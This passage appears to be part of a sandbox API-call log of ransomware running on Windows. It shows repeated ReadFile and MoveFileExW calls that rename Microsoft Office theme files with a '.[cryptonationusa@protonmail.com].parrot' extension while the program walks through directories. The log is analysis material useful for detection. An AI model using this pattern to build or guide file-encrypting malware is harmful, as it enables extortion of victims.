files\\microsoft office\\document themes 14\\newsprint.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.296] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.296] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.306] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.307] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x132b9, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x132b9, lpOverlapped=0x0) returned 1 [0158.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.314] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.316] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.359] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.360] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.361] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.361] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16ef4, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x16ef4, lpOverlapped=0x0) returned 1 [0158.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.367] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.376] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.376] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.377] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.377] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1540b, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1540b, lpOverlapped=0x0) returned 1 [0158.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.383] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.383] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.383] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.390] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.390] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.391] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.392] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x421e6, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x421e6, lpOverlapped=0x0) returned 1 [0158.394] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.407] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.407] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.407] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.423] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.423] ReadFile (in: hFile=0x284, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.425] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.425] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd15a, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xd15a, lpOverlapped=0x0) returned 1 [0158.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.430] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.432] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.471] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.471] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.473] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.473] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc97ce, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xc97ce, lpOverlapped=0x0) returned 1 [0158.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.500] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.545] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.570] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.570] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.571] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.572] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x106e8, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x106e8, lpOverlapped=0x0) returned 1 [0158.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.579] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.581] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.586] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.586] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.590] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.590] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x124a0, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x124a0, lpOverlapped=0x0) returned 1 [0158.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.595] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.597] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.601] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.601] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.603] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.603] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10d83, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x10d83, lpOverlapped=0x0) returned 1 [0158.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.608] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.614] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.614] ReadFile (in: hFile=0x288, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0158.616] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.616] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15d75, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x15d75, lpOverlapped=0x0) returned 1 [0158.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.621] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.626] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0158.629] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0158.629] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.630] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0158.630] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.630] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0158.630] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0158.630] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.630] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.631] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.632] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3a0, lpOverlapped=0x0) returned 1 [0158.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.632] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.636] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.636] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.637] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.637] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x39d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x39d, lpOverlapped=0x0) returned 1 [0158.637] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.638] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.638] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.638] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.642] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.642] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.643] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.643] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3bf, lpOverlapped=0x0) returned 1 [0158.643] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.644] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.650] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.650] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0158.687] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.688] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c5, lpOverlapped=0x0) returned 1 [0158.688] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0158.688] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.688] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0158.688] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0158.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0158.693] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0158.693] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, 